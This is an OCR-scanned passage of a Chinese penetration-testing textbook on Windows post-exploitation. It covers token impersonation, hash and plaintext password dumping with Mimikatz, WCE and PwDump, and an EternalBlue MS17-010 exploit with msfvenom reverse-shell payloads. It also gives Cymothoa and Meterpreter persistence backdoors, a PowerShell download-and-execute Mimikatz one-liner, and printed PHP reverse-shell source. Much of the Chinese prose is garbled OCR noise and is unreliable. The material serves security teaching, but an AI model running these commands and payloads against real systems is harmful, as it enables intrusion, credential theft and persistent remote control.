KB3045171MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|MS13-053 EPATHOBIJ
Oday R 32 fi
KB2707511|MS12-042 sysret -pid
KB2124261|KB2271195 MS10-065
11S7
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Windows 2003 Windows 2008 Windows 2012
KB2503665|MS11-046 MS10-065 11S7 KB970483|MS09-020 11S6
KB2592799|MS11-080 KB970483|MS09-020 11S6

KB956572[MS09-01 L7 P
KB2621440|MS12-020
KB977165MS10-015 Ms Viru
KB3139914|MS16-032
KB3124280/MS16-016
KB3134228|MS16-014
KB3079904|MS15-097
KB3077657|MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851MS13-053
EPATHOBJ Oday R 32 fif
KB2707511|MS12-042
KB2124261KB2271195
MS10-065 11S7
KB970483|MS09-020 11S6

562 <THHE

1. SERENTRRE

4 h (Token) FiRZRGRIIGK %4, ML TR LMENL, FRLERE LG
XRERMAWXIRIER 2R TH— N K. B RVFIRTE AR 2565 58 H A 5 4E
FIRTIR T, VMMM AGER. XELMERFEFETREGT, RIERGERS
o

AR KRR AR AL, AR, —8BEEBERGTEIEN k. 45
FHIRZHM, tbinihm 4 (Access Token) Fnvy 6l XK RGN 5, FF
48 (Security token), X MYEIAMIEAFEEE B4R, 2 —FitEHL SR
HEL, FlNUE; 2154 (Session Token) 238 H.21E R ME— 1 S0 FRIR T o

TER B 4 M o 7% 28 FiKerberosthil . FiT LAZE{E FR B 2 AT, JokN 4B
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Kerberost/hifl . Kerberosiz —F ML IAIEML, Hikit Bfr2BdZEHRGNE I/
AR 5528 B P AL R 3R AL 5R K AAE AR S5« Kerberosi) TAENL I 40 B 5-55 7~

EAEED
R

& i i B

NERRSS 2 AS

E5-55 KerberosT {E#lil

& P iE SRR R T Frs.

o EPURFINERE S (AS) RiEiER, BERBIIRSFHIES.

o ASIRERERE, BEESE D IEHIMEIE MmN A IES F . 1ZIEH
AR SS Baticket (BIEREBZEHAMENZE IS —H2EFH)
— MG INEEH (XFRAESTEZEE, sessionkey) o HR, IMERS
S REBRIFZE—ZER, FARERS/IMNEZEFE P iwmi S5,

o ZEPumkiticketFiERIRE B L, REBFHNZE NS, EATEER

R 55 4% .
o FFUMEBFMING, BT LEE R IR 8 SRR S i 4 R
BRESHELEFA

IR RERALBEE — RV EBE, C&2mIhIRE T B AnPLAIMeterpreter Shell,
B A\ getnidir S BE ARG IR, RE% Agetsystem, KIRIKM, Hix
I E5-56 7R o

E|5-56 HiAgetsystem#n i iTHRM
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FA 158 A use incognitofir 4, #RJ5 % Alist_tokens -u%l) i 7] F ftoken, w1 5-57
Fi7Re

will be available

[E5-57 FIHATASHE

ATLAEBIEPF RIS R : —Fh&Delegation Tokens, WELRIZH A, B3
728 BB % (91l G e DA Jo 370 7 5 T 5 % 17 ) ) 5 7545 — Ff & Impersonation Tokens,
MR AR, ERIELEMSIE. S IIEE RSk T Meterpreter Shellf¥j 5
17 25 5] o

HES5-57TRLAES], RINEEHRB T N RAEHEANENLSE, IERERE
AR, IR RN AT RIAUR .

Mt 15 B FT LA B M EC AR 204 B & WIN-57TJ4B56 IMT\Administrator,
H A WIN-57TJ4B56IMT /& H ARl 4144, Administrator& /R B FIH 4. #TF
K A{Eincognito ' il F impersonate_tokentir 4 B Administrator Fl /' i 7 Me 5, BAR T
FEUNES-58FT7R o

1 be available

LONGRei bRt veEeees

E5-58 HENShE

RS B ANHOSTNAME\USERNAMER & E#H AT REHT (\W).
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1217 .3 J& fEMeterpreter  Shell | 12417 shelldiy 2 41 Awhoami, W] PAE RIZEE I
FE 2B B BN WIN-57TJ4b56 IMT\Administrator R Z & HE 71 T «

5.6.3 Hash

{8 Hashdump #MEXZB1E

Hashdump Meterpreter/Jifl A< 7] LA H FrdL 25 H1 32 B Hash{l, i fi#Hash{E B 7] 3k15
FREL, HEIPENKS (WREERS R, W ARAKEANKS) MHF
AL ERAE M sam U, S ENLSATI, U A K S T8 e, B
PR AE “REHR” KT. FrolZMHZa 25w ST BER Mg T

7EMeterpreter Shell#27R 755 T i1 Nhashdumpir 4>, K5 H H AxHlsamB 35 F o 1
Hash, 1/&]5-59f7r.

E5-59 HHiHash

TEAESYSTEMA R T iZ 17 hashdump iy &< 2 M, 1 H.¥E Windows 7. Windows
Server 2008 A I 2= H I BERE AL A AN BN 55 18] s 177 575 — M smart_hashdump/¥)
Dhae s Asak, 7T LA A - i Hash, H TAEREWT:

o fa&Meterpreters il (AL PR B ARHLIRE RGEKA.

o RE BNRE SRS

o HRERMEMR SR Hash, ATHITEE 2 RFE ALSASSHHE.

XEEEZ R R RS2 Windows 7, 1 EJF/E TUAC, $KE(Hashit <%k
e, zﬁsﬁu‘aﬁ%%ﬁﬂi% TUAcE’JFﬁ%@I&fﬁffﬁiﬁ% W 5-60 7 o

E5-60 SHiEXAIHash
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AT DA F 8 77 B0 E R UL B 3R XS IUHL 3 () Hash #EAT B, A A HEF http:/www.
cmdS5.com/B% #F http://www.xmd5.com/IX 5~ X 3

2. {#F3 Quarks PwDump HMEXZ313

PwDumpZ — A WinR2HE T RARNELEFH LR, BiREEM—KTR
AL FHIMEATRER . R4 ZHOSHA, HHEZSTEE.

EHRALAFH:

e Local accounts NT/LM hashes + history 2 INT/LMW; %+ 528 i 5t .

*  Domain accounts NT/LM hashes + history3s # FINT/LMM %+ 7 52 % 0 5% .

e  Cached domain passwordZE 7+ 3 B 2 %00

e  Bitlocker recovery information (recovery passwords & key packages) 1

Bitlockerf\IA B TR G BEHIEE (REEBR&KREL) .

PwDump 3 £ K1 #e/E & 4t A Windows XP/Windows 2003/Windows Vista/Windows

7/Windows 2008/Windows 8.

EWindows I RS R4+, A5 LU (9 77 AR 17 7E/windows/system32/config/
THIsam3XfF R, TS ESFEXWELERE AR FERENAFF. EF
BT ARG EBNE, sam X RABRPIEIE, (ERPwDumpiifAtiisam.

B #:1217Quarks PwDump.exe, E5-61F7R~, BRAERFEIEERE, HSHE X
T BTR

e -dhl: FHAMIEHE.

e -dhdc: FHATEFRIEZEERHE.

e -dhd: FHIFERAE, LIFEENTDSI .

e .db: FHiBitlockerf5 B, IR ENTDSI .

° -nt: FHNTDSXfF.

e hist: FHHEEL, AEH.

o -t: ALIEFHAR, BIAFHIohnKA,

°  -0: FHIHRIAM.
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ol C:ANINDO¥S\system32\cnd. exe

quarks—pudumnp.exe <{options>

—dhl ~—dump-hash—local
—~dhdc ——dump-hash-donain-cached
—~dhd ~——-dump-hash-domain (NTDS_FILE must be specified)
—dh ~~dump-bitlocker (NTDS_FILE must bhe specified)
~nt ~-ntds—-file FILE
—hist —-with-history Coptional)

~ ——output-type JOHN/LC Coptional. if no=>JOHN)

——gutput FILE <(optional, if no=>stdout)

Example: guarks-pudump.exe ——dump—hash-domain ——with-history

E5-61 ER#BIER

X BAE A% T EIMA N Hash{E 3¢ 3, 7] LA%i A QuarksPwDump.exe -dhl -0
LixtAr 45 A HInG 75 (2 24 70 H 3R89 Laxt. BhS, Z T HEIEA] PAAE A Nedsutil TH F
H I A

3. {#F Windows Credentials Editor #TIEXZ213

Windows Credentials Editor (WCE) f&—#XIh e 58 K Windows™F & I M 53%E 1.
B, BRI EFREE, AR LM, SRR AR (FI4LM/NT Hash).
XLETHREE N S E R A, Fltn, f£EWindows™F & _EHATE IS HashiRE B3
MAFEFIRENT/LM Hash (7] AR G F kS @R R EEEF IR LA
AT E—23aE, mAEERWEIEE/D, SAMBENPLE TR, NEUIEE
HEAMNRTER, CEFERFTLAENGER.
B Jefi Auploadfir & ¥ wee.exe L 4& 2| B AR ENLCEEH, A E7E H #nlShell FHIA
wee -win 4, (BRI ARG A SCEE R ED, WES-62F7m.
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U A A A

[E5-62 #MERRLGRACEE BRI ER

BRIME FH -1 A3 B B 38 #% Husername:domain:Im:ntlm  CGXFPELHUE N 17 A 152
WELEZNELR, MALENsamBIEEFHIELE), BN keH %4
1975 L, %ﬁﬁi%)@ﬁ)ﬂﬁ#éﬂ‘]ﬁﬁ» Fr AR W REXT RS il . X B
S -2 HERGIE 22 . -¢SHEARITEELR, HatkE—1
RGN TR EE S, ES-63.

fals Editord - <c) 2010-2013 fmplia Security - by

in
wn Ochoa ChernanBam pliasecurity.con?
h for help.

123

CCF9155E3E7DB453AAD3B435B51404EE-3DBDEG??D71698A?69284BEB122

E5-63 4MERRRERL

S TRERERIATomd, vEHM T RREMAGEE, XA EE 2 uid
BE, wSHREXEN, HTEECEXNVICEN, WES-6457R.

l‘ .41} in : ll}n~-l.-|xt,i<,\lr; Editor) - <(¢c)> 2018-2813 Amplia Security hy
- 5

E5-64 {MENEZRAVACER

4. {EF3 Mimikatz §MENZRE
Mimikatz/2 ¥ E % X Benjamin Delpy (@gentilkiwi) 5B EH A RS, EA—
%\F‘Yﬁeiéiﬂﬂﬁﬂiﬁ B LAF B e N RBERITI R S Z6Y, WIMNEATERE
I IR K erberos & 55 4R , 4230 7 #iRestricted Admin# =X, Windows 8E{Windows
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Server 20 12(iZFE 4 U (RDP) S5T)fE. ERYIEEN BZERRZHN AR, Kk
HAREAETE T EA/ME P AR — N ERENILE A, XEMEERE-HRKT
H., Mimikatzglt & —F R EHEBHATH . &E AMMESHSE R ERK. TEE
i% T B 7EWindows 20005 Windows XP & 4t I ik «

Metasploit 226 HAE N —AMeterpreter i AR EE /L T, UMERH P, AR E
FAEZEH AR B bR ENL L.

MimikatzAZ07E & B AR R, SR REERNTEE —RIATEE, 24/
Ih3k 13 H Ft/L i Meterpreter Shell GEF2BE ), X FTALR A Administrator, i Agetsystem
AR T RGAR, B 5-65077.

d

T I-57TJ4B561MT\Administrator

I
I
!
tem \ ique 1 (Named Pipe Impersonation (In Memory/Admin)).
I

AUTHORITY\SYSTEM

El5-65 FREVAGANIR

RIMARGSYSTEMMUR G, HAEER BArLAEH2EH . EIAMimikatz[R] i 3 #732
AL AN 644L T Windows 22, (HUNSRAR S5 35 R 64N B 1E R GE, H#HAE I Mimikatz)5 ,
Meterpreter2: BRIN N —N3247 iR A I Mimikatz B N 77, /312 DIReoaL. M HAE
64N ERLE RGN AU E R RAHMFRSIR, SRETEMBMimikatzZ A HIZT 3] —
NAMIFEFF IR, A REEE RAZIGHA S, E32M MRS FHEA XA PR,
X B Asysinforn %, M1E5-667 .

57TJ4BS61MT
vs 7 (Build 7601, Service Pack 1).

E5-66 TERGIEE
X — A2 IHL S, TRATE BN MimikatzEE R, I EE B, &5-67F7R.
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d mimika
mimik
>lp mimikat

_Om

4 =1
Run a ¢

E5-67 mmEMimikatzg#5EhiH AR

mimikatz_commandi% 3 7] LA iEFAT4E F Mimikatz ) & # D 6E, 7 ZEd N —
AMER B IRAR B AT R R S BB IR, B 5-687s

meterproter > mimikatz_command -f a::
Module : 'a' introuvable

Modules disponibles
Standard
crypto Cryptcgraphie et certificats
hash Hash
system Gestion systéme
process Manipulation des processus
thread Manipulation des threads
service Manipulation des services
privilege - Manipulation des priviléges
handle Manipulation des handles
impersonate Manipulation tokens d'accés
winmine Manipulation du démineur
minesweeper Manipulation du démineur 7
nogpo Anti-gpo et patchs divers
samdump Dump de SAM
inject Injecteur de librairies
ts - Terminal Server
divers Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs
sekurlsa Dump des sessions courantes par providers LSASS
afs Manipulations EFS

E5-68 #Emimikatz_commandiya] SR

BATATLMER “” B REA Y F IR T, %2 —MESR St AT DUE A
“ BEAEFER), BI04 A Hash 0] HIETE ImFintim A F, 10E5-69F 7~
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meterpreter > mimikatz_command -f ha
Module : 'hash' identifi¢, mais commande

Description du module : Hash
im - Hash LanManager (LM) d'une ¢
ntlm - Hash NT Lar‘u(*!ang_;er (NTLM) d'un
E5-69 EERHRAIESEN
KN3E T Mimikatz 8 RAEAE A 5 JE . FRATTEE AT LA#E Fl Metasploit N 2 K4, B
] LA F Mimikatz F 75 16 2 A H AR HLES BT H HashFBA SCHEHS

P B A msvin IR SiHashfEH, WES-7087

Inetaerprater > msy
[+] Running as SYSTEM

[*] Retrieving msv credentials
msv credentials

Us Password

W 71J4BS61MT Administrator 1m{ c2265b23734e0dacaad3b435b51404ae }, ntim{ 69943c5e63b4d2c104dbbcc15138072b )
WIN-S77J4BS61MT test 1m{ c2265b23734a0dacaad3b435b51404ea }, ntim{ 69943c5e63b4d2c104dbbcc15138072b )
WIN-S7TJ4B561MT Administrator Im{ c2265b23734a0dacaad3b435b51404ee }, ntlm{ 69943c5e63b4d2c104dbbcc15138072b }
NT AUTHORITY SERVICE s, (Credentiols KO)
WORKGROUP 577)4B561MT$ n.s. (Credentials KO)

n.s. (Credentials KO)
WORKGROUP WIN-577J4B561MT$ n.s. (Credentials KO)

&5-70 #(EYHash
i Nkerberosfin 2 7] AN R A 2248, WES-71F7.

AuthID

~N

WIN-57TJ4B56

'

99
99
48
99
26
21
11

O =N
~
£

WORKGROUP
WIN-57TJ4B561MT
WIN-57TJ4B561MT
WIN-57TJ4B561MT

0
0;
0;
0;
0
0;

[=]
3 ke eed
w1 U1
~N = 0
O W

E5-71 MERERE
fr Awdigestin 2 7] ISR ARG K P E R, WES5-72F7R.
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E5-72 REERZKFER

255 i A\ samdump iy 4 £ & samdump /K] 7] FIE T, 4R J5 % Amimikatz_command
- f samdump::hashes iy & #Ui Hash, 41&5-73077

meterpreter > mimikatz_command -f samdumsp::
Module : ‘samdump’ identifi$, mais commande '’ introuvable

Description du module : Dump de SAM
hashes - Récupdre la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SA
bootkey - Récupére la bootkey depuis une ruche SYSTEM
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : WIN-S7TJ4BS6IMT
1 @08BBLCS599d271¢ 13331728de7861 1886

: 500
: Adainistrator

: 69943¢5063b4d2¢ 104dbbec 151386720

: 501
1 Guest

: 1007
shuteer

- 69943c5063b4d2¢ 104dbb¢c15138b720

: 1002
: test

: 69943¢5063b4d2¢104dbbec 151385720

E5-73 #EHash

MES5-739 0/ DLE Y, IRENH HARPLE = - Administrator. shuteerfltest(] 25
L& —#FE, Hash¥ H69943c5e63b4d2c104dbbecl15138b72b, Mt CMDSRES, 184012
A1,

Mimikatzf® 7 7] LA4IUEX Hash, BE R L HAhTheEE, #40{F FHandlefHe, list/kill
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HEAR, DARBE P 2R, W s-74F7w

prat : ats mmand
1 ‘handleg' identifi@,

seription du modu

E5-74 EERGIHE
{8 Fl ServicefsiBk i] LLlist/start/stop/remove WindowsffJ il %5, wWIES-7557R .

BE5-75 BERERGRS

18 F Cryptofsih a] LLlist/export{EfaiE TS, PA A& AELE B Antlas E AN FASH, o
E5-76 78
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meterpreter > mimikatz_command -f crypto::
Module : ‘crypto' identifi¢, mais commande '' introuvable

Description du.module : Cryptographie et certificats
1istProviders - Liste les providers install$s)
listStores - Liste les magasins systéme
listCertificates - Liste les certificats
listKeys - Liste les conteneurs de clés
oxportCertificates - Exporte 'les certificats
exportKeys - Exporte les clés
patchcng - [experimental] Patch le gestionnaire de cl¢s pour 1'export de cl4s non exportabl
patchcapi - [experimental] Patch la CryptoAPI courante pour 1'export de clé¢s non exportabls
neterproeter > mimikatz_command -f crypto::listProviders
Providers CryptoAPI
Microsoft Base Cryptographic Provider v1.0
Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
Microsoft Base DSS Cryptographic Provider
Microsoft Base Smart Card Crypto Provider
Microsoft DH SChannel Cryptographic Provider
Microsoft Enhanced Cryptographic Providar vi.0
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider

E5-76 EFRZEP
Mimikatz # 3 £ PowerShell i i (Invoke-Mimikatz ), [ 7% #s 1i: 24 https:/raw.

githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/
Invoke-Mimikatz.ps1 .

Mimikatz ") I RERFE::  BESFEPowerShell P #1 T Mimikatz, 57 FENEIE, 1
i&KerberosSHE AN, BHREZ HMAITHEE, WES-77H7R.

P N> povershell.exe “IEX (Mow-Object Net. Vehchenx) DownloadString(’ https://rav.githubusercontent.con/mattifestation.
uwrSnlolt/m\:tnr/Ey”l:n(lon/lnuoku-ﬂintkntz psi’); Invoke-Nimikatz ~DumpCreds™

illlll. ninikatz 2.8 alpha <(x64)> release “Kiuwi en C" (Feb 16 2815 22:15:28>
(%~ g,
/NER smowm
\ 7/ Benjanin DELPY ‘gentilkiuwi' < benjaminB@gentilkivi.com >
% v http://blog.gentilkivi. cuvninﬂmt-. Coe.e0>
L ith 15 modules » » w/

inikatz(povershell> 8 zekurlsa::logonpasswords

Ruthentication Id : 8 ; 911]% (8000000 : 0eBde7ca)
ecssion

: ADS B

: §-1-5-21-1581655573-3923512380-696647894-2629
Prinar
: u.ni'kmnkur
ADSEC

3:99731\\11(\3672::chnfBl'l?c3B.\d
= 177af8ab46321ceef22b468376F2
010319882741223f186lb61ﬂ32:|1ﬂa3%da:3b

LukeSkywalker
ADSECLAB
: TheForce99!

¢ LukeSk: 1kor
: ADSEC] LXN
TheForce99?

: lukesk 1ker

: LAB. ab?“&umw.onc
- P;.zvﬂrd : TheForce99!
zzp
credlu\n z

3 8 ; 676556 (ORBOLARE:BEBaS2cc)
: ln(arnctiua fronm 1
Rmﬂd

3 S~1-S—21 ~1662981689-1298724130-2958167982-568

Prinary
z ﬁDSﬁdnin

eS2cAc67119a9.226:7¢ 4a5£F986d116
7cB8A63a2F 48£ B459 21 hc22360d3F Jac
85al Efb639c%SGSM'MCdSaJ&:5$M6{2n71¢31

ADSAdnin

RADSFPBL
: Password99!

&5-77 HEPowerShell FgIMimikatz
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Mimikatz ] — £ H ARG & TR ZH AR, BEaBiRtyRm LE
Benjamin Delpy 1% (http://blog.gentilkiwi.com/) 3K,

5.7 JEBEXE: BEREFAREER

Metasploitii 2B Z LK) TR 2 —, MURBEABERTEEMEME, F
HEMRBMHEL. Metasploitd & BAREE T KEN RGIRFF AR, B
BE WA A NRREAE, &RV EREI K E SR, AT, X
SRR I S FIE S WS, BlinPerl. Python%s, Metasploit X FHF&MAFES
S MR B AL T, @I X AL AT DO & A IR AR R R N 5
Metasploit# & 2 E . Frllii, A E T XK B CliRREBR, &£Metasploit
JEF oK AR EERTIRE

20174ESH 12H208 2, FlE4ERESN “4858”7 (WannaCry) BIRHMF, £
RENREE AN, #dTHEEANSREENERAHBX, 28, &l BF.
B IR, TS E AUTWAUS KRN R M EE N, HXARKMTE
WoE G, R SO T T AR N 2% B S

“CRASE” BRI MRT SR —FC BB R, BRSNS . BB s
TN, Bt FE7EN ERINSA CEEE R %4 /) E K ETHR“KIEZ %" (Eternalblue)
G, AR BAERRRE IR RS, FR. k. BFSEHMNTEFRES—&
Windows Rt HAUERYL, ol BEITE RLEN TR EN L. AP HEN
“hiR” J5, REWKIER. X, . EHESCEBgnE, Ren#sis
AHE3003E T 0 B O AT AR, “AESR” ESmTE R, BRI R R AR
HmH,

5.7.1 MS17-010 J®iEfE /. RERITR

RS BRBAHEH B “KEZIE” $AZ201648 H Shadow Brokers N2 77
AL (Equation Group&NSA T & B ZHL) GTHRENZE SCHHATFRE K
— KHENSA Windows % HigIHFIH TR RF|F R —3K. BRikz sk, BL “KiE” ARl
2% 44 R R R B 1B 3& F Eternalromance .  Eternalchampion#lEternalsynergy%s, FTH
XL HR RS XTI B ) Windows#1E RGiHT. “AH5” FIA T A SMBIZ RS HATIR
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JAMS17-010, FH-IET 4455 DREEEY B, —wZE, 2ttH70%Windowshk 5
BETHERZT, Mg EORBAERE BB EMS17-010X M EAART T, EA
SEEL T “FRWRFTHE 7.

2 80 F Windows i A FEASBESE T 4= 2 %1, 135 Windows NT. Windows 2000
Windows XP. Windows 2003 . Windows Vista. Windows 7~ Windows 8. Windows 2008+
Windows 2008 R2. Windows Server 2012 SP0% . ittf, W EAE201743 A 14H#H A
i TMS17-0103s R AI# T, 1BE RERPEEFHEAT .

MS17-0103R TR F A S 2 F) FH Windows £ 4t ) Windows  SMBIZG A2 AT IS s
W, MMicrosoftfi 52578 B Ht (SMBv1) R #RKIELRFHRETHHEERE, Rz
TR AT . AT A FH X L i (0 s 2 B AT R187E B AR R 48 L BATRIBHIEL T

RT R, E2HENT, KL GHEIEKIEE 7R84 M HARSMBv]
R 4538 ROIZ L KPR BT I BE L, T SEEL R D Bt

e BRRHIT ZMS17-0103R T 52 R G4 T AR TAE, BaprBEHE
AR . TR TRIE AT e 4455 1, FH T S Bb 55 B0E 1 & TAE .

5.7.2 THEIEFE MS17-010 JFiEF AR

MS17-010 R TR F FI A5 Bt Metasploit AR LA S AL, (HR2L T MR EHAKIIA X
2% Windows 2003 2%, HZEM% LA LFFHBEHA, HGitHub FEMuE N
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/, 1&|5-78 7K o

L ElevenPaths / Eternalblue-Doublepulsar-Metasploit OWatch 19 KStar

<> Code Issues 8 N Pull requests 0 I Projects 0 Pulse Graphs

No description, website, or topics provided.

© 4 commits P 1branch
RS

Branch: master» | N

{ %] shei default path EB-DP changed Latest commit #
W deps Uploading
&) LICENSE

) README.md

{&) etemaiblue_doublepulsar.rb default path EB-DP changed

[E5-78 MS17-010/%EiEMIA
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H ek /@H%Uﬁﬁ’rﬁﬁ%ﬁﬁ%ib&ﬂtiﬁck, I E5-79FT 7R o

E5-79 mRElRmREFARR

% % ¥ eternalblue_doublepulsar-Metasploit 3Z {4 3% T [# eternalblue_doublepulsar.rb
& il ] /usr/share/metasploit-framework/modules/exploits/windows/smb F, 7EMetasploit
B, 7RIS A ARSI R SO AL B R B, MU T IR R
MIFTEN B, HH BT H fi#MetasploithE 2L FIZE A, WES-80FT7m .

eternalblue_doublepulsar.rb wkssvc.rb

generic smb dll injection.rb msdns zonename.rb

group policy startup.rb netapi.rb

ipass pipe exec.rb smb2 negotiate func index.rb
msO3 049 netapl rb 46 shortcut icon dllloader.rb
mef)z 3 o E

@5-80 BB BN EF
IAE ZMSF F H E a4 ss o, mEs-81Fs.

msf > reload all
| Reloading modules from all module paths...

E5-81 mMELIIH
BUERUA AR BZIAA 17, o Ausedn & INEZIELR, WElS-82F7R

E5-82 {#Z=FHERZIELR
FEMS17-0103F T F AL R 1 2 MetasploithE 22 J&, SEAT AU &R T, 7
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Wi 2 BB e —ANDLLSCHE, a5 B brdl2 3267 i R A A2 326 FIDLL, /264
P RS aAE 640 FIDLL  3X B & % 7% , AT LA FH PowerShell T FJEmpire4: BtDLL,
5634 e B, X B FFMSF HH# fMsfvenomar 24 %, W FFiR.

64 fi.: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.31.247 lport=4444
-f dl1 -o ~/eternalll.dll

32 {i: msfvenom -p windows/meterpreter/reverse_tcp lhost=172.19.186.17 -f dll -o
~/eternalll.dll

FEAE IR IR R, B RSPt AL e B A N S 4.

Set PROCESSINJECT lsass.exe (Intel x86 il Intel x64 A LL)
SetRHOST192.168.12.108

Set TARGETARCHITECTURE x86

SET WINEPATH /root/.wine/drive c (ERIA DLL A=plcfh32, alLAMEHD
Set payload windows/meterpreter/reverse_tcp

Set LHOST 192.168.12.110

SET LPORT 4444 (% OATEE, BTLERD

Set target 9

B ETERE, WES-83FT7R.

E5-83 EFREMSH
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X B N exploitil Hrunfy & K ¥y, FINJE & IRFI#3 2] —Meterpreter £ 1 ,
B 5-84 7R

E5-84 BERIN

ZEik, BAIEERINFIFAMS17-010%%F TR E -

FEAZIRIRfEF R, B — & B R T a0 T B A e

o NHEN LR EEAT, MRS A TMS17-01088 T “KiEZ
W7 W RS IR, W hk A https:/technet.microsoft.com/zh-cn/library/
security/MS17-010. iEF WA LUAEFE =77 TR, THANT AT EZAT.

o K&, —EEHEEMELEN.

o FFREPI K.

o E[A445. 135, 137. 138, 1394w, RHAIMLILE,

5.8 EZBEXE: &I

TESERL T RABIRZ )G, FATHBLZEILIE] (backdoor) T, PAZEREXS H R
PUEEERIAL . IXRE—R, BIEEIRATATFI A KRR S TRFER, EaT U jE ]
GraEAz | B AR R G

Y, JEITER — N EAE B EVL R, BT DM R R R
HirEN. RZHERT, BIIE—-ABTEBREN LRRERER, Exr—1
FHE . RERBKH P 6L

58.1 BERZE]
BT e et B bR RS A b ik & 10 E LA P UGE RE, T4 AT B
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W RGEREHIAL, DL FREEHIT N % . Meterpreterf2fit T PersistenceZs f5 1515
Wb, @il Bil L2 B EE. KAIRSZE TR, REAHIEE HRHL.

1. Cymothoa iG]

Cymothoaf2 — 3K A] LA¥4 ShellCodel: NILE #EFE (RIFEREAE) MIEIT T E. {48
XMEATFE, R HShellCodethZE B MAEF . EAENNJE I TFRF B 24 Aeis
SHEANER GHEE) 377, DB BBy A R F%E. K ShellCodeld: N K
R, BF RBI—TRSE: BEBR RGN 22N TR BT #ATEFE
TR, REEAENAE, SRIAT GHEHE) FITRFRHRE.

HER—RORZEBTEANRGIFE TR, RO ZERANOBR GFER
i Zroot). MR, FAJEITRLUEITHMERF NEE, Frol RE#HEC AEE i
FHEE, FIIMESEILET.

HARWEFEFIPID (FELinux R4 N A\ps -auxiir 4, #£Windows % 4 T #i A
tasklistfir &), 41 El5-85F1E5-86 17«

RSS TTY STAT START  TIME COMMAND
Ss  Jun@3 0:03 /sbin/init
S Jun@3 :
Jun@3
JunB3
Jun®3
Jun@3

Juné3 [Lru-add-drain]
Jund3 :00 [watchdog/0]
Jun@3 > [cpuhp/0]

2 hp/1

S
S
S
S
S Jund3
S<
S
S
S Jun@3

[E5-86 7EWindows T&ZEPID

£ {8 F Cymothoaltf , 518 it -pi Wi e & H AR BEAEMPID, FidE it -s vk Wi 48 &
ShellCodef14% 5, ShellCodeft14% S %13 4N & 5-87 Ff 7% »
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:~# cymothoa -S

- bind /bi to the provided port (requires -y)
- bind /bi 0 je el y) - izik <
- b t te I {requir

S D
- forkbomb (
- open cd-ror

0
1
2
3 -
5 -
6 -
7
8
9

et ot
D

et bk
=)

w

fork on accept
-y) send data via upd

=
&

E5-87 ShellCodel4mE%3=

RRIhEE HFRENUE, BUAT LB Cymothoaf AT AT FF EHIB Hir EN L, 4
BUG TR . B, X B ikFEPID MO8 i HEFE AfE T HEFE, 1% H % —2KShellCode,
¥ & Payload IR 453 [ 4444, BAkdr 440K iR,

cymothoa -p 982 -s 1 -y 4444

B E AT PLEE DL R e A B AR ENLNETT (4444535 1),

Nc -nvv 192.168.31.247 4444

2. Persistence 517

Persistence/& — s ] %3 B Ja 2h 7 N FFA LR 11127, 338 W DA E el
TS . 1 Y6k A run persistence -h & HI BTG &L 00, 4n5-887s -

e -h

E5-88 EEHH
BEEMAUT L@ —MEAERET], & S5-8957R.
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172.149:49224) at 2017-03-04 17:36:47 +080C

E5-89 BIRFAGEN]

P 5-89 iy & BV AR RE LN T s
° A: H3IE3PayloadfE /¥
ARG R BN B BN

R P EFe B31E5).
FEHLE B BNk

[ 2 F k) ) B o

e P T RAERENHS.

o r: HiRHARIPHESE.

A LLE 3, Meterpreters i A TE HARHLAR REE R ELAER T, IIAEH Asessions
& ER DAEMIRI 21, TLLE B Sa0E AN ERE, WwWES-908R.

®

L]
v G 7

®
—

E5-90 EERINKBMNLIE
E5-90rF M5 B RN ZFA SR 1L BRI .

RS XA T ELE BRI LA S Tl A R A, B UUSATR
RHARBERA
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5.8.2 Web &1

Web /5 132 #EWebShell, H.Zmf & —BM A, fIHEASP. ASPNET. PHP.
JSPARAGEE, T IX LR HE TR S 20, B il X BRSO vt ARG, 18
IR 5% 2% v AT — L i [ R A SRR L U HER(B B, B BB B SRR SRAL,
MRS IR 2 MR . X R HH IR RS/ — N7, H—RIARE
B .

WebJa [ RS B & TR ALIER 2 1ITheE, HlindiTard . Wt FBIRAL.
PATSQLIER). [ ShelldF. Windows R4t T HUEH AWML T “HEZT]”, &F
RZEHR “HEZT]” PR TE, Flin “hERS]” MCknife, 3 FFMac.
LinuxflWindows. 7EKali T, F I HLEL 2 (1572 Weevely, Weevely SCRF I D RETR 28K
1 Fhttp Sk AT ¥8 24550, ME— B s k& R SCRFPHP. H SEMetasploittEZE 1 49 H
TWebja ], Ei&Meterpreterf IS, IhAgHE K.

1. Meterpreter 5]

#EMetasploits, & —~4% NPHP MeterpreterffiPayload, #F|F X/ MEHATGIEE
4 Meterpreter I B JPHP WebShell. 7EX i #11# i Metasploit PHP Shell {122 B T By
No

o ffi Flmsfvenomf! % —webshell.php.

o _F{&webshell.php®! HFrAR %S 2% .

*  j&4TMetasploit multi-handlerJF 45 1 Wy -

e jjinlwebshell.php 7Tl »

e3R8 ff)Metasploit Shell,

FATAT LLIE i Metasploitffimsfvenom T B il {EPHP Meterpreter, - #ir 4241 E5-91 7

:~# msfvenom -p php/meterpreter/reverse tcp LH0ST=192.168.31.247 -f raw > shuteer.php

No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 950 bytes

E5-91 #I{EPHP Meterpreter
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Xt iR ar & WS EU W T s .
°  pZH A T & EPayload.

o fZHH TR E RO R
A i shuteer.php 41 5-92 T 7

shutee'r.php }gave 1

leoeo

/*<?php /**/ error_reporting(8); $ip = '192.168.31.247'; $port = 4444; if ((5f =
‘stream socket client') & is_callable($f)) { $s = $f("tcp://{$ip}:{Sport}"); $s_type =

'stream’; } elseif (($f = 'fsockopen') && is_callable(sf)) { $s = $T($ip, $port); $s type =
'stream’; } elseif (($f = 'socket create') && is_callable($f)) { $s = $f(AF_INET, SOCK STREAM,
SOL_TCP); s$res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s type = 'socket'; } else
{ die('no socket funcs'); } if (!$s) { die(’'no socket'); } switch ($s type) { case ‘stream': $len
= fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } sa
